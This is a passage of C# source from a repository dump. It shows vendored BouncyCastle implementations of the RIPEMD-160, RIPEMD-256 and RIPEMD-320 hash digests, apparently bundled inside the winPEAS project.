0x7a6d76e9), 5) + dd; bb = RL(bb, 10); dd = RL(dd + F2(ee,aa,bb) + X[10] + unchecked((int) 0x7a6d76e9), 15) + cc; aa = RL(aa, 10); cc = RL(cc + F2(dd,ee,aa) + X[14] + unchecked((int) 0x7a6d76e9), 8) + bb; ee = RL(ee, 10); // // Rounds 64-79 // // left b = RL(b + F5(c,d,e) + X[ 4] + unchecked((int) 0xa953fd4e), 9) + a; d = RL(d, 10); a = RL(a + F5(b,c,d) + X[ 0] + unchecked((int) 0xa953fd4e), 15) + e; c = RL(c, 10); e = RL(e + F5(a,b,c) + X[ 5] + unchecked((int) 0xa953fd4e), 5) + d; b = RL(b, 10); d = RL(d + F5(e,a,b) + X[ 9] + unchecked((int) 0xa953fd4e), 11) + c; a = RL(a, 10); c = RL(c + F5(d,e,a) + X[ 7] + unchecked((int) 0xa953fd4e), 6) + b; e = RL(e, 10); b = RL(b + F5(c,d,e) + X[12] + unchecked((int) 0xa953fd4e), 8) + a; d = RL(d, 10); a = RL(a + F5(b,c,d) + X[ 2] + unchecked((int) 0xa953fd4e), 13) + e; c = RL(c, 10); e = RL(e + F5(a,b,c) + X[10] + unchecked((int) 0xa953fd4e), 12) + d; b = RL(b, 10); d = RL(d + F5(e,a,b) + X[14] + unchecked((int) 0xa953fd4e), 5) + c; a = RL(a, 10); c = RL(c + F5(d,e,a) + X[ 1] + unchecked((int) 0xa953fd4e), 12) + b; e = RL(e, 10); b = RL(b + F5(c,d,e) + X[ 3] + unchecked((int) 0xa953fd4e), 13) + a; d = RL(d, 10); a = RL(a + F5(b,c,d) + X[ 8] + unchecked((int) 0xa953fd4e), 14) + e; c = RL(c, 10); e = RL(e + F5(a,b,c) + X[11] + unchecked((int) 0xa953fd4e), 11) + d; b = RL(b, 10); d = RL(d + F5(e,a,b) + X[ 6] + unchecked((int) 0xa953fd4e), 8) + c; a = RL(a, 10); c = RL(c + F5(d,e,a) + X[15] + unchecked((int) 0xa953fd4e), 5) + b; e = RL(e, 10); b = RL(b + F5(c,d,e) + X[13] + unchecked((int) 0xa953fd4e), 6) + a; d = RL(d, 10); // right bb = RL(bb + F1(cc,dd,ee) + X[12], 8) + aa; dd = RL(dd, 10); aa = RL(aa + F1(bb,cc,dd) + X[15], 5) + ee; cc = RL(cc, 10); ee = RL(ee + F1(aa,bb,cc) + X[10], 12) + dd; bb = RL(bb, 10); dd = RL(dd + F1(ee,aa,bb) + X[ 4], 9) + cc; aa = RL(aa, 10); cc = RL(cc + F1(dd,ee,aa) + X[ 1], 12) + bb; ee = RL(ee, 10); bb = RL(bb + F1(cc,dd,ee) + X[ 5], 5) + aa; dd = RL(dd, 10); aa = RL(aa + F1(bb,cc,dd) + X[ 8], 14) + ee; cc = RL(cc, 10); ee = RL(ee + F1(aa,bb,cc) + X[ 7], 6) + dd; bb = RL(bb, 10); dd = RL(dd + F1(ee,aa,bb) + X[ 6], 8) + cc; aa = RL(aa, 10); cc = RL(cc + F1(dd,ee,aa) + X[ 2], 13) + bb; ee = RL(ee, 10); bb = RL(bb + F1(cc,dd,ee) + X[13], 6) + aa; dd = RL(dd, 10); aa = RL(aa + F1(bb,cc,dd) + X[14], 5) + ee; cc = RL(cc, 10); ee = RL(ee + F1(aa,bb,cc) + X[ 0], 15) + dd; bb = RL(bb, 10); dd = RL(dd + F1(ee,aa,bb) + X[ 3], 13) + cc; aa = RL(aa, 10); cc = RL(cc + F1(dd,ee,aa) + X[ 9], 11) + bb; ee = RL(ee, 10); bb = RL(bb + F1(cc,dd,ee) + X[11], 11) + aa; dd = RL(dd, 10); dd += c + H1; H1 = H2 + d + ee; H2 = H3 + e + aa; H3 = H4 + a + bb; H4 = H0 + b + cc; H0 = dd; // // reset the offset and clean out the word buffer. // xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } public override IMemoable Copy() { return new RipeMD160Digest(this); } public override void Reset(IMemoable other) { RipeMD160Digest d = (RipeMD160Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD256Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// ///

    Implementation of RipeMD256.

    ///

    Note: this algorithm offers the same level of security as RipeMD128.

    ///
    public class RipeMD256Digest : GeneralDigest { public override string AlgorithmName { get { return "RIPEMD256"; } } public override int GetDigestSize() { return DigestLength; } private const int DigestLength = 32; private int H0, H1, H2, H3, H4, H5, H6, H7; // IV's private int[] X = new int[16]; private int xOff; /// Standard constructor public RipeMD256Digest() { Reset(); } /// Copy constructor. This will copy the state of the provided /// message digest. /// public RipeMD256Digest(RipeMD256Digest t):base(t) { CopyIn(t); } private void CopyIn(RipeMD256Digest t) { base.CopyIn(t); H0 = t.H0; H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; H5 = t.H5; H6 = t.H6; H7 = t.H7; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8) | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24); if (xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (int)(bitLength & 0xffffffff); X[15] = (int)((ulong)bitLength >> 32); } private void UnpackWord( int word, byte[] outBytes, int outOff) { outBytes[outOff] = (byte)(uint)word; outBytes[outOff + 1] = (byte)((uint)word >> 8); outBytes[outOff + 2] = (byte)((uint)word >> 16); outBytes[outOff + 3] = (byte)((uint)word >> 24); } public override int DoFinal(byte[] output, int outOff) { Finish(); UnpackWord(H0, output, outOff); UnpackWord(H1, output, outOff + 4); UnpackWord(H2, output, outOff + 8); UnpackWord(H3, output, outOff + 12); UnpackWord(H4, output, outOff + 16); UnpackWord(H5, output, outOff + 20); UnpackWord(H6, output, outOff + 24); UnpackWord(H7, output, outOff + 28); Reset(); return DigestLength; } /// reset the chaining variables to the IV values. public override void Reset() { base.Reset(); H0 = unchecked((int)0x67452301); H1 = unchecked((int)0xefcdab89); H2 = unchecked((int)0x98badcfe); H3 = unchecked((int)0x10325476); H4 = unchecked((int)0x76543210); H5 = unchecked((int)0xFEDCBA98); H6 = unchecked((int)0x89ABCDEF); H7 = unchecked((int)0x01234567); xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } /* * rotate int x left n bits. */ private int RL( int x, int n) { return (x << n) | (int)((uint)x >> (32 - n)); } /* * f1,f2,f3,f4 are the basic RipeMD128 functions. */ /* * F */ private int F1(int x, int y, int z) { return x ^ y ^ z; } /* * G */ private int F2(int x, int y, int z) { return (x & y) | (~ x & z); } /* * H */ private int F3(int x, int y, int z) { return (x | ~ y) ^ z; } /* * I */ private int F4(int x, int y, int z) { return (x & z) | (y & ~ z); } private int F1(int a, int b, int c, int d, int x, int s) { return RL(a + F1(b, c, d) + x, s); } private int F2(int a, int b, int c, int d, int x, int s) { return RL(a + F2(b, c, d) + x + unchecked((int)0x5a827999), s); } private int F3(int a, int b, int c, int d, int x, int s) { return RL(a + F3(b, c, d) + x + unchecked((int)0x6ed9eba1), s); } private int F4(int a, int b, int c, int d, int x, int s) { return RL(a + F4(b, c, d) + x + unchecked((int)0x8f1bbcdc), s); } private int FF1(int a, int b, int c, int d, int x, int s) { return RL(a + F1(b, c, d) + x, s); } private int FF2(int a, int b, int c, int d, int x, int s) { return RL(a + F2(b, c, d) + x + unchecked((int)0x6d703ef3), s); } private int FF3(int a, int b, int c, int d, int x, int s) { return RL(a + F3(b, c, d) + x + unchecked((int)0x5c4dd124), s); } private int FF4(int a, int b, int c, int d, int x, int s) { return RL(a + F4(b, c, d) + x + unchecked((int)0x50a28be6), s); } internal override void ProcessBlock() { int a, aa; int b, bb; int c, cc; int d, dd; int t; a = H0; b = H1; c = H2; d = H3; aa = H4; bb = H5; cc = H6; dd = H7; // // Round 1 // a = F1(a, b, c, d, X[0], 11); d = F1(d, a, b, c, X[1], 14); c = F1(c, d, a, b, X[2], 15); b = F1(b, c, d, a, X[3], 12); a = F1(a, b, c, d, X[4], 5); d = F1(d, a, b, c, X[5], 8); c = F1(c, d, a, b, X[6], 7); b = F1(b, c, d, a, X[7], 9); a = F1(a, b, c, d, X[8], 11); d = F1(d, a, b, c, X[9], 13); c = F1(c, d, a, b, X[10], 14); b = F1(b, c, d, a, X[11], 15); a = F1(a, b, c, d, X[12], 6); d = F1(d, a, b, c, X[13], 7); c = F1(c, d, a, b, X[14], 9); b = F1(b, c, d, a, X[15], 8); aa = FF4(aa, bb, cc, dd, X[5], 8); dd = FF4(dd, aa, bb, cc, X[14], 9); cc = FF4(cc, dd, aa, bb, X[7], 9); bb = FF4(bb, cc, dd, aa, X[0], 11); aa = FF4(aa, bb, cc, dd, X[9], 13); dd = FF4(dd, aa, bb, cc, X[2], 15); cc = FF4(cc, dd, aa, bb, X[11], 15); bb = FF4(bb, cc, dd, aa, X[4], 5); aa = FF4(aa, bb, cc, dd, X[13], 7); dd = FF4(dd, aa, bb, cc, X[6], 7); cc = FF4(cc, dd, aa, bb, X[15], 8); bb = FF4(bb, cc, dd, aa, X[8], 11); aa = FF4(aa, bb, cc, dd, X[1], 14); dd = FF4(dd, aa, bb, cc, X[10], 14); cc = FF4(cc, dd, aa, bb, X[3], 12); bb = FF4(bb, cc, dd, aa, X[12], 6); t = a; a = aa; aa = t; // // Round 2 // a = F2(a, b, c, d, X[7], 7); d = F2(d, a, b, c, X[4], 6); c = F2(c, d, a, b, X[13], 8); b = F2(b, c, d, a, X[1], 13); a = F2(a, b, c, d, X[10], 11); d = F2(d, a, b, c, X[6], 9); c = F2(c, d, a, b, X[15], 7); b = F2(b, c, d, a, X[3], 15); a = F2(a, b, c, d, X[12], 7); d = F2(d, a, b, c, X[0], 12); c = F2(c, d, a, b, X[9], 15); b = F2(b, c, d, a, X[5], 9); a = F2(a, b, c, d, X[2], 11); d = F2(d, a, b, c, X[14], 7); c = F2(c, d, a, b, X[11], 13); b = F2(b, c, d, a, X[8], 12); aa = FF3(aa, bb, cc, dd, X[6], 9); dd = FF3(dd, aa, bb, cc, X[11], 13); cc = FF3(cc, dd, aa, bb, X[3], 15); bb = FF3(bb, cc, dd, aa, X[7], 7); aa = FF3(aa, bb, cc, dd, X[0], 12); dd = FF3(dd, aa, bb, cc, X[13], 8); cc = FF3(cc, dd, aa, bb, X[5], 9); bb = FF3(bb, cc, dd, aa, X[10], 11); aa = FF3(aa, bb, cc, dd, X[14], 7); dd = FF3(dd, aa, bb, cc, X[15], 7); cc = FF3(cc, dd, aa, bb, X[8], 12); bb = FF3(bb, cc, dd, aa, X[12], 7); aa = FF3(aa, bb, cc, dd, X[4], 6); dd = FF3(dd, aa, bb, cc, X[9], 15); cc = FF3(cc, dd, aa, bb, X[1], 13); bb = FF3(bb, cc, dd, aa, X[2], 11); t = b; b = bb; bb = t; // // Round 3 // a = F3(a, b, c, d, X[3], 11); d = F3(d, a, b, c, X[10], 13); c = F3(c, d, a, b, X[14], 6); b = F3(b, c, d, a, X[4], 7); a = F3(a, b, c, d, X[9], 14); d = F3(d, a, b, c, X[15], 9); c = F3(c, d, a, b, X[8], 13); b = F3(b, c, d, a, X[1], 15); a = F3(a, b, c, d, X[2], 14); d = F3(d, a, b, c, X[7], 8); c = F3(c, d, a, b, X[0], 13); b = F3(b, c, d, a, X[6], 6); a = F3(a, b, c, d, X[13], 5); d = F3(d, a, b, c, X[11], 12); c = F3(c, d, a, b, X[5], 7); b = F3(b, c, d, a, X[12], 5); aa = FF2(aa, bb, cc, dd, X[15], 9); dd = FF2(dd, aa, bb, cc, X[5], 7); cc = FF2(cc, dd, aa, bb, X[1], 15); bb = FF2(bb, cc, dd, aa, X[3], 11); aa = FF2(aa, bb, cc, dd, X[7], 8); dd = FF2(dd, aa, bb, cc, X[14], 6); cc = FF2(cc, dd, aa, bb, X[6], 6); bb = FF2(bb, cc, dd, aa, X[9], 14); aa = FF2(aa, bb, cc, dd, X[11], 12); dd = FF2(dd, aa, bb, cc, X[8], 13); cc = FF2(cc, dd, aa, bb, X[12], 5); bb = FF2(bb, cc, dd, aa, X[2], 14); aa = FF2(aa, bb, cc, dd, X[10], 13); dd = FF2(dd, aa, bb, cc, X[0], 13); cc = FF2(cc, dd, aa, bb, X[4], 7); bb = FF2(bb, cc, dd, aa, X[13], 5); t = c; c = cc; cc = t; // // Round 4 // a = F4(a, b, c, d, X[1], 11); d = F4(d, a, b, c, X[9], 12); c = F4(c, d, a, b, X[11], 14); b = F4(b, c, d, a, X[10], 15); a = F4(a, b, c, d, X[0], 14); d = F4(d, a, b, c, X[8], 15); c = F4(c, d, a, b, X[12], 9); b = F4(b, c, d, a, X[4], 8); a = F4(a, b, c, d, X[13], 9); d = F4(d, a, b, c, X[3], 14); c = F4(c, d, a, b, X[7], 5); b = F4(b, c, d, a, X[15], 6); a = F4(a, b, c, d, X[14], 8); d = F4(d, a, b, c, X[5], 6); c = F4(c, d, a, b, X[6], 5); b = F4(b, c, d, a, X[2], 12); aa = FF1(aa, bb, cc, dd, X[8], 15); dd = FF1(dd, aa, bb, cc, X[6], 5); cc = FF1(cc, dd, aa, bb, X[4], 8); bb = FF1(bb, cc, dd, aa, X[1], 11); aa = FF1(aa, bb, cc, dd, X[3], 14); dd = FF1(dd, aa, bb, cc, X[11], 14); cc = FF1(cc, dd, aa, bb, X[15], 6); bb = FF1(bb, cc, dd, aa, X[0], 14); aa = FF1(aa, bb, cc, dd, X[5], 6); dd = FF1(dd, aa, bb, cc, X[12], 9); cc = FF1(cc, dd, aa, bb, X[2], 12); bb = FF1(bb, cc, dd, aa, X[13], 9); aa = FF1(aa, bb, cc, dd, X[9], 12); dd = FF1(dd, aa, bb, cc, X[7], 5); cc = FF1(cc, dd, aa, bb, X[10], 15); bb = FF1(bb, cc, dd, aa, X[14], 8); t = d; d = dd; dd = t; H0 += a; H1 += b; H2 += c; H3 += d; H4 += aa; H5 += bb; H6 += cc; H7 += dd; // // reset the offset and clean out the word buffer. // xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } public override IMemoable Copy() { return new RipeMD256Digest(this); } public override void Reset(IMemoable other) { RipeMD256Digest d = (RipeMD256Digest)other; CopyIn(d); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD320Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// ///

    Implementation of RipeMD 320.

    ///

    Note: this algorithm offers the same level of security as RipeMD160.

    ///
    public class RipeMD320Digest : GeneralDigest { public override string AlgorithmName { get { return "RIPEMD320"; } } public override int GetDigestSize() { return DigestLength; } private const int DigestLength = 40; private int H0, H1, H2, H3, H4, H5, H6, H7, H8, H9; // IV's private int[] X = new int[16]; private int xOff; /// Standard constructor public RipeMD320Digest() { Reset(); } /// Copy constructor. This will copy the state of the provided /// message digest. /// public RipeMD320Digest(RipeMD320Digest t) : base(t) { CopyIn(t); } private void CopyIn(RipeMD320Digest t) { base.CopyIn(t); H0 = t.H0; H1 = t.H1; H2 = t.H2; H3 = t.H3; H4 = t.H4; H5 = t.H5; H6 = t.H6; H7 = t.H7; H8 = t.H8; H9 = t.H9; Array.Copy(t.X, 0, X, 0, t.X.Length); xOff = t.xOff; } internal override void ProcessWord( byte[] input, int inOff) { X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8) | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24); if (xOff == 16) { ProcessBlock(); } } internal override void ProcessLength( long bitLength) { if (xOff > 14) { ProcessBlock(); } X[14] = (int)(bitLength & 0xffffffff); X[15] = (int)((ulong)bitLength >> 32); } private void UnpackWord( int word, byte[] outBytes, int outOff) { outBytes[outOff] = (byte)word; outBytes[outOff + 1] = (byte)((uint)word >> 8); outBytes[outOff + 2] = (byte)((uint)word >> 16); outBytes[outOff + 3] = (byte)((uint)word >> 24); } public override int DoFinal(byte[] output, int outOff) { Finish(); UnpackWord(H0, output, outOff); UnpackWord(H1, output, outOff + 4); UnpackWord(H2, output, outOff + 8); UnpackWord(H3, output, outOff + 12); UnpackWord(H4, output, outOff + 16); UnpackWord(H5, output, outOff + 20); UnpackWord(H6, output, outOff + 24); UnpackWord(H7, output, outOff + 28); UnpackWord(H8, output, outOff + 32); UnpackWord(H9, output, outOff + 36); Reset(); return DigestLength; } /// reset the chaining variables to the IV values. public override void Reset() { base.Reset(); H0 = unchecked((int) 0x67452301); H1 = unchecked((int) 0xefcdab89); H2 = unchecked((int) 0x98badcfe); H3 = unchecked((int) 0x10325476); H4 = unchecked((int) 0xc3d2e1f0); H5 = unchecked((int) 0x76543210); H6 = unchecked((int) 0xFEDCBA98); H7 = unchecked((int) 0x89ABCDEF); H8 = unchecked((int) 0x01234567); H9 = unchecked((int) 0x3C2D1E0F); xOff = 0; for (int i = 0; i != X.Length; i++) { X[i] = 0; } } /* * rotate int x left n bits. */ private int RL( int x, int n) { return (x << n) | (int)(((uint)x) >> (32 - n)); } /* * f1,f2,f3,f4,f5 are the basic RipeMD160 functions. */ /* * rounds 0-15 */ private int F1(int x, int y, int z) { return x ^ y ^ z; } /* * rounds 16-31 */ private int F2(int x, int y, int z) { return (x & y) | (~ x & z); } /* * rounds 32-47 */ private int F3(int x, int y, int z) { return (x | ~ y) ^ z; } /* * rounds 48-63 */ private int F4(int x, int y, int z) { return (x & z) | (y & ~ z); } /* * rounds 64-79 */ private int F5(int x, int y, int z) { return x ^ (y | ~z); } internal override void ProcessBlock() { int a, aa; int b, bb; int c, cc; int d, dd; int e, ee; int t; a = H0; b = H1; c = H2; d = H3; e = H4; aa = H5; bb = H6; cc = H7; dd = H8; ee = H9; // // Rounds 1 - 16 // // left a = RL(a + F1(b, c, d) + X[0], 11) + e; c = RL(c, 10); e = RL(e + F1(a, b, c) + X[1], 14) + d; b = RL(b, 10); d = RL(d + F1(e, a, b) + X[2], 15) + c; a = RL(a, 10); c = RL(c + F1(d, e, a) + X[3], 12) + b; e = RL(e, 10); b = RL(b + F1(c, d, e) + X[4], 5) + a; d = RL(d, 10); a = RL(a + F1(b, c, d) + X[5], 8) + e; c = RL(c, 10); e = RL(e + F1(a, b, c) + X[6], 7) + d; b = RL(b, 10); d = RL(d + F1(e, a, b) + X[7], 9) + c; a = RL(a, 10); c = RL(c + F1(d, e, a) + X[8], 11) + b; e = RL(e, 10); b = RL(b + F1(c, d, e) + X[9], 13) + a; d = RL(d, 10); a = RL(a + F1(b, c, d) + X[10], 14) + e; c = RL(c, 10); e = RL(e + F1(a, b, c) + X[11], 15) + d; b = RL(b, 10); d = RL(d + F1(e, a, b) + X[12], 6) + c; a = RL(a, 10); c = RL(c + F1(d, e, a) + X[13], 7) + b; e = RL(e, 10); b = RL(b + F1(c, d, e) + X[14], 9) + a; d = RL(d, 10); a = RL(a + F1(b, c, d) + X[15], 8) + e; c = RL(c, 10); // right aa = RL(aa + F5(bb, cc, dd) + X[5] + unchecked((int)0x50a28be6), 8) + ee; cc = RL(cc, 10); ee = RL(ee + F5(aa, bb, cc) + X[14] + unchecked((int)0x50a28be6), 9) + dd; bb = RL(bb, 10); dd = RL(dd + F5(ee, aa, bb) + X[7] + unchecked((int)0x50a28be6), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F5(dd, ee, aa) + X[0] + unchecked((int)0x50a28be6), 11) + bb; ee = RL(ee, 10); bb = RL(bb + F5(cc, dd, ee) + X[9] + unchecked((int)0x50a28be6), 13) + aa; dd = RL(dd, 10); aa = RL(aa + F5(bb, cc, dd) + X[2] + unchecked((int)0x50a28be6), 15) + ee; cc = RL(cc, 10); ee = RL(ee + F5(aa, bb, cc) + X[11] + unchecked((int)0x50a28be6), 15) + dd; bb = RL(bb, 10); dd = RL(dd + F5(ee, aa, bb) + X[4] + unchecked((int)0x50a28be6), 5) + cc; aa = RL(aa, 10); cc = RL(cc + F5(dd, ee, aa) + X[13] + unchecked((int)0x50a28be6), 7) + bb; ee = RL(ee, 10); bb = RL(bb + F5(cc, dd, ee) + X[6] + unchecked((int)0x50a28be6), 7) + aa; dd = RL(dd, 10); aa = RL(aa + F5(bb, cc, dd) + X[15] + unchecked((int)0x50a28be6), 8) + ee; cc = RL(cc, 10); ee = RL(ee + F5(aa, bb, cc) + X[8] + unchecked((int)0x50a28be6), 11) + dd; bb = RL(bb, 10); dd = RL(dd + F5(ee, aa, bb) + X[1] + unchecked((int)0x50a28be6), 14) + cc; aa = RL(aa, 10); cc = RL(cc + F5(dd, ee, aa) + X[10] + unchecked((int)0x50a28be6), 14) + bb; ee = RL(ee, 10); bb = RL(bb + F5(cc, dd, ee) + X[3] + unchecked((int)0x50a28be6), 12) + aa; dd = RL(dd, 10); aa = RL(aa + F5(bb, cc, dd) + X[12] + unchecked((int)0x50a28be6), 6) + ee; cc = RL(cc, 10); t = a; a = aa; aa = t; // // Rounds 16-31 // // left e = RL(e + F2(a, b, c) + X[7] + unchecked((int)0x5a827999), 7) + d; b = RL(b, 10); d = RL(d + F2(e, a, b) + X[4] + unchecked((int)0x5a827999), 6) + c; a = RL(a, 10); c = RL(c + F2(d, e, a) + X[13] + unchecked((int)0x5a827999), 8) + b; e = RL(e, 10); b = RL(b + F2(c, d, e) + X[1] + unchecked((int)0x5a827999), 13) + a; d = RL(d, 10); a = RL(a + F2(b, c, d) + X[10] + unchecked((int)0x5a827999), 11) + e; c = RL(c, 10); e = RL(e + F2(a, b, c) + X[6] + unchecked((int)0x5a827999), 9) + d; b = RL(b, 10); d = RL(d + F2(e, a, b) + X[15] + unchecked((int)0x5a827999), 7) + c; a = RL(a, 10); c = RL(c + F2(d, e, a) + X[3] + unchecked((int)0x5a827999), 15) + b; e = RL(e, 10); b = RL(b + F2(c, d, e) + X[12] + unchecked((int)0x5a827999), 7) + a; d = RL(d, 10); a = RL(a + F2(b, c, d) + X[0] + unchecked((int)0x5a827999), 12) + e; c = RL(c, 10); e = RL(e + F2(a, b, c) + X[9] + unchecked((int)0x5a827999), 15) + d; b = RL(b, 10); d = RL(d + F2(e, a, b) + X[5] + unchecked((int)0x5a827999), 9) + c; a = RL(a, 10); c = RL(c + F2(d, e, a) + X[2] + unchecked((int)0x5a827999), 11) + b; e = RL(e, 10); b = RL(b + F2(c, d, e) + X[14] + unchecked((int)0x5a827999), 7) + a; d = RL(d, 10); a = RL(a + F2(b, c, d) + X[11] + unchecked((int)0x5a827999), 13) + e; c = RL(c, 10); e = RL(e + F2(a, b, c) + X[8] + unchecked((int)0x5a827999), 12) + d; b = RL(b, 10); // right ee = RL(ee + F4(aa, bb, cc) + X[6] + unchecked((int)0x5c4dd124), 9) + dd; bb = RL(bb, 10); dd = RL(dd + F4(ee, aa, bb) + X[11] + unchecked((int)0x5c4dd124), 13) + cc; aa = RL(aa, 10); cc = RL(cc + F4(dd, ee, aa) + X[3] + unchecked((int)0x5c4dd124), 15) + bb; ee = RL(ee, 10); bb = RL(bb + F4(cc, dd, ee) + X[7] + unchecked((int)0x5c4dd124), 7) + aa; dd = RL(dd, 10); aa = RL(aa + F4(bb, cc, dd) + X[0] + unchecked((int)0x5c4dd124), 12) + ee; cc = RL(cc, 10); ee = RL(ee + F4(aa, bb, cc) + X[13] + unchecked((int)0x5c4dd124), 8) + dd; bb = RL(bb, 10); dd = RL(dd + F4(ee, aa, bb) + X[5] + unchecked((int)0x5c4dd124), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F4(dd, ee, aa) + X[10] + unchecked((int)0x5c4dd124), 11) + bb; ee = RL(ee, 10); bb = RL(bb + F4(cc, dd, ee) + X[14] + unchecked((int)0x5c4dd124), 7) + aa; dd = RL(dd, 10); aa = RL(aa + F4(bb, cc, dd) + X[15] + unchecked((int)0x5c4dd124), 7) + ee; cc = RL(cc, 10); ee = RL(ee + F4(aa, bb, cc) + X[8] + unchecked((int)0x5c4dd124), 12) + dd; bb = RL(bb, 10); dd = RL(dd + F4(ee, aa, bb) + X[12] + unchecked((int)0x5c4dd124), 7) + cc; aa = RL(aa, 10); cc = RL(cc + F4(dd, ee, aa) + X[4] + unchecked((int)0x5c4dd124), 6) + bb; ee = RL(ee, 10); bb = RL(bb + F4(cc, dd, ee) + X[9] + unchecked((int)0x5c4dd124), 15) + aa; dd = RL(dd, 10); aa = RL(aa + F4(bb, cc, dd) + X[1] + unchecked((int)0x5c4dd124), 13) + ee; cc = RL(cc, 10); ee = RL(ee + F4(aa, bb, cc) + X[2] + unchecked((int)0x5c4dd124), 11) + dd; bb = RL(bb, 10); t = b; b = bb; bb = t; // // Rounds 32-47 // // left d = RL(d + F3(e, a, b) + X[3] + unchecked((int)0x6ed9eba1), 11) + c; a = RL(a, 10); c = RL(c + F3(d, e, a) + X[10] + unchecked((int)0x6ed9eba1), 13) + b; e = RL(e, 10); b = RL(b + F3(c, d, e) + X[14] + unchecked((int)0x6ed9eba1), 6) + a; d = RL(d, 10); a = RL(a + F3(b, c, d) + X[4] + unchecked((int)0x6ed9eba1), 7) + e; c = RL(c, 10); e = RL(e + F3(a, b, c) + X[9] + unchecked((int)0x6ed9eba1), 14) + d; b = RL(b, 10); d = RL(d + F3(e, a, b) + X[15] + unchecked((int)0x6ed9eba1), 9) + c; a = RL(a, 10); c = RL(c + F3(d, e, a) + X[8] + unchecked((int)0x6ed9eba1), 13) + b; e = RL(e, 10); b = RL(b + F3(c, d, e) + X[1] + unchecked((int)0x6ed9eba1), 15) + a; d = RL(d, 10); a = RL(a + F3(b, c, d) + X[2] + unchecked((int)0x6ed9eba1), 14) + e; c = RL(c, 10); e = RL(e + F3(a, b, c) + X[7] + unchecked((int)0x6ed9eba1), 8) + d; b = RL(b, 10); d = RL(d + F3(e, a, b) + X[0] + unchecked((int)0x6ed9eba1), 13) + c; a = RL(a, 10); c = RL(c + F3(d, e, a) + X[6] + unchecked((int)0x6ed9eba1), 6) + b; e = RL(e, 10); b = RL(b + F3(c, d, e) + X[13] + unchecked((int)0x6ed9eba1), 5) + a; d = RL(d, 10); a = RL(a + F3(b, c, d) + X[11] + unchecked((int)0x6ed9eba1), 12) + e; c = RL(c, 10); e = RL(e + F3(a, b, c) + X[5] + unchecked((int)0x6ed9eba1), 7) + d; b = RL(b, 10); d = RL(d + F3(e, a, b) + X[12] + unchecked((int)0x6ed9eba1), 5) + c; a = RL(a, 10); // right dd = RL(dd + F3(ee, aa, bb) + X[15] + unchecked((int)0x6d703ef3), 9) + cc; aa = RL(aa, 10); cc = RL(cc + F3(dd, ee, aa) + X[5] + unchecked((int)0x6d703ef3), 7) + bb; ee = RL(ee, 10); bb = RL(bb + F3(cc, dd, ee) + X[1] + unchecked((int)0x6d703ef3), 15) + aa; dd = RL(dd, 10); aa = RL(aa + F3(bb, cc, dd) + X[3] + unchecked((int)0x6d703ef3), 11) + ee; cc = RL(cc, 10); ee = RL(ee + F3(aa, bb, cc) + X[7] + unchecked((int)0x6d703ef3), 8) + dd; bb = RL(bb, 10); dd = RL(dd + F3(ee, aa, bb) + X[14] + unchecked((int)0x6d703ef3), 6) + cc; aa = RL(aa, 10); cc = RL(cc + F3(dd, ee, aa) + X[6] + unchecked((int)0x6d703ef3), 6) + bb; ee = RL(ee, 10); bb = RL(bb + F3(cc, dd, ee) + X[9] + unchecked((int)0x6d703ef3), 14) + aa; dd = RL(dd, 10); aa = RL(aa + F3(bb, cc, dd) + X[11] + unchecked((int)0x6d703ef3), 12) + ee; cc = RL(cc, 10); ee = RL(ee + F3(aa, bb, cc) + X[8] + unchecked((int)0x6d703ef3), 13) + dd; bb = RL(bb, 10); dd = RL(dd + F3(ee, aa, bb) + X[12] + unchecked((int)0x6d703ef3), 5) + cc; aa = RL(aa, 10); cc = RL(cc + F3(dd, ee, aa) + X[2] + unchecked((int)0x6d703ef3), 14) + bb; ee = RL(ee, 10); bb = RL(bb + F3(cc, dd, ee) + X[10] + unchecked((int)0x6d703ef3), 13) + aa; dd = RL(dd, 10); aa = RL(aa + F3(bb, cc, dd) + X[0] + unchecked((int)0x6d703ef3), 13) + ee; cc = RL(cc, 10); ee = RL(ee + F3(aa, bb, cc) + X[4] + unchecked((int)0x6d703ef3), 7) + dd; bb = RL(bb, 10); dd = RL(dd + F3(ee, aa, bb) + X[13] + unchecked((int)0x6d703ef3), 5) + cc; aa = RL(aa, 10); t = c; c = cc; cc = t; // // Rounds 48-63 // // left c = RL(c + F4(d, e, a) + X[1] + unchecked((int)0x8f1bbcdc), 11) + b; e = RL(e, 10); b = RL(b + F4(c, d, e) + X[9] + unchecked((int)0x8f1bbcdc), 12) + a; d = RL(d, 10); a = RL(a + F4(b, c, d) + X[11] + unchecked((int)0x8f1bbcdc), 14) + e; c = RL(c, 10); e = RL(e + F4(a, b, c) + X[10] + unchecked((int)0x8f1bbcdc), 15) + d; b = RL(b, 10); d = RL(d + F4(e, a, b) + X[0] + unchecked((int)0x8f1bbcdc), 14) + c; a = RL(a, 10); c = RL(c + F4(d, e, a) + X[8] + unchecked((int)0x8f1bbcdc), 15) + b; e = RL(e, 10); b = RL(b + F4(c, d, e) + X[12] + unchecked((int)0x8f1bbcdc), 9) + a; d = RL(d, 10); a = RL(a + F4(b, c, d) + X[4] + unchecked((int)0x8f1bbcdc), 8) + e; c = RL(c, 10); e = RL(e + F4(a, b, c) + X[13] + unchecked((int)0x8f1bbcdc), 9) + d; b = RL(b, 10); d = RL(d + F4(e, a, b) + X[3] + unchecked((int)0x8f1bbcdc), 14) + c; a = RL(a, 10); c = RL(c + 